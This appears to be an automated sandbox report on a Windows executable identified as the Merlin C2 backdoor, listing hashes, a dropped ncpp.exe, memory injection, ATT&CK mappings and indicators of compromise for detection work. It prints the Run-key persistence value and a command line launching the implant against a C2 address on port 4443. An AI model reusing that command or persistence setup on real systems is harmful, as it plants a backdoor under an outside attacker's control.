merlin | 1a490bdca46dce6160857063eb29df68d0605cba0ef9e5be4186910a228554ee

Analysis

max time kernel
119s
max time network
121s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
23-08-2024 00:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2024-08-22_c7bd4b9e418c201f25af07c424418f92_snatch.exe
Size

16.9MB
MD5

c7bd4b9e418c201f25af07c424418f92
SHA1

6e0e2ce756d53511447b56f57a8d5f9c58f66dea
SHA256

1a490bdca46dce6160857063eb29df68d0605cba0ef9e5be4186910a228554ee
SHA512

27b3283ff3720ae8d94436048b659aae2ded4cd122a00f1caf6e737fadd4f3688e14177bc480f8b1a7eb342a8e9156295348140b74d235e49236b77b851fff11
SSDEEP

49152:CPSw9ndEUyBOCP8EehUfpoCghtqYDnI+5aK6XHRZ5uVx:zleOStftIZ

Score

10^/10

merlin backdoor persistence

Malware Config

Signatures

Merlin
Merlin is a cross-platform post-exploitation C2 framework written in golang.
backdoor merlin

Merlin payload 1 IoCs

Processes:

resource	yara_rule
\Users\Admin\AppData\Local\Temp\ncpp.exe	family_merlin

Executes dropped EXE 1 IoCs

Processes:

ncpp.exe

pid process

2692 ncpp.exe
Loads dropped DLL 2 IoCs

Processes:

2024-08-22_c7bd4b9e418c201f25af07c424418f92_snatch.exe

pid process

2972 2024-08-22_c7bd4b9e418c201f25af07c424418f92_snatch.exe
2972 2024-08-22_c7bd4b9e418c201f25af07c424418f92_snatch.exe

pid	process
2692	ncpp.exe

pid	process
2972	2024-08-22_c7bd4b9e418c201f25af07c424418f92_snatch.exe
2972	2024-08-22_c7bd4b9e418c201f25af07c424418f92_snatch.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

2024-08-22_c7bd4b9e418c201f25af07c424418f92_snatch.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\Run\ExampleExe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ncpp.exe -url https://70.95.122.165:4443/"	2024-08-22_c7bd4b9e418c201f25af07c424418f92_snatch.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

2024-08-22_c7bd4b9e418c201f25af07c424418f92_snatch.exe

description	pid	process	target process
PID 2972 wrote to memory of 2692	2972	2024-08-22_c7bd4b9e418c201f25af07c424418f92_snatch.exe	ncpp.exe
PID 2972 wrote to memory of 2692	2972	2024-08-22_c7bd4b9e418c201f25af07c424418f92_snatch.exe	ncpp.exe
PID 2972 wrote to memory of 2692	2972	2024-08-22_c7bd4b9e418c201f25af07c424418f92_snatch.exe	ncpp.exe

C:\Users\Admin\AppData\Local\Temp\2024-08-22_c7bd4b9e418c201f25af07c424418f92_snatch.exe
"C:\Users\Admin\AppData\Local\Temp\2024-08-22_c7bd4b9e418c201f25af07c424418f92_snatch.exe"
1⤵
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2972
- C:\Users\Admin\AppData\Local\Temp\ncpp.exe
  C:\Users\Admin\AppData\Local\Temp\ncpp.exe -url https://70.95.122.165:4443/
  2⤵
  - Executes dropped EXE
  PID:2692

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

\Users\Admin\AppData\Local\Temp\ncpp.exe

Filesize
6.2MB

MD5
af435b848f7979f05494b9c517362f26

SHA1
91458acd430dcf32ed1e161ae084f844868a972b

SHA256
a509fc81910bc9e25a5fac4cbde6d99b54ea1cfecd8d58522f17a930fc342f20

SHA512
7fc0cd37833254c530c85e8afd4289daffd332bf04b9f8bca8e9327faa4e67b913648c6a2e753bcb4d61134ff0b2534ff72e77dff3fe1fb7c20839015b5cd838

Download Submit